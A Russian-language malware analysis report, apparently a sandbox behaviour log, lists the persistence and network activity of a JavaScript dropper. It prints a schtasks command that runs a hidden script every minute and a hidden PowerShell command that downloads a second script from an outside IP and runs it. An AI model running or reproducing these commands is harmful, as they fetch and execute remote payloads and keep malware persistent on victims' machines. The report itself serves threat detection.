Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\ajev2lg8v
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\schtasks.exe' /create /mo 1 /sc minute /f /tr "wscript %ALLUSERSPROFILE%\WBTON5KgzkoRaV.js WBTON5KgzkoRaV.js " /tn aJEv2LG8V
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\wbton5kgzkorav.js
Сетевая активность
Подключается к
- '78.##2.29.118':80
TCP
Запросы HTTP GET
- http://78.##2.29.118/wp-content/includes/rhetoriclc.php
- http://78.##2.29.118/wp-content/includes/vilifiescq.php
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' %ALLUSERSPROFILE%\WBTON5KgzkoRaV.js WBTON5KgzkoRaV.js
Запускает на исполнение
- '<SYSTEM32>\taskeng.exe' {52546565-8C99-4BDD-B103-8BB80AD16385} S-1-5-21-3691498038-2086406363-2140527554-1000:mehwgxvoirxt\user:Interactive:[1]
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "IWR -outfi $env:programdata\4X1X1KSD6Y4N.js -usebasi 'http://78.##2.29.118/wp-content/includes/chromiolej6xPS.php'; schtasks /delete /tn WBTON5KgzkoRaV.js /f; wscript $env:programdata... (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /delete /tn WBTON5KgzkoRaV.js /f
- '<SYSTEM32>\wscript.exe' %ALLUSERSPROFILE%\4X1X1KSD6Y4N.js
- '<SYSTEM32>\wscript.exe' %ALLUSERSPROFILE%\WBTON5KgzkoRaV.js WBTON5KgzkoRaV.js (со скрытым окном)
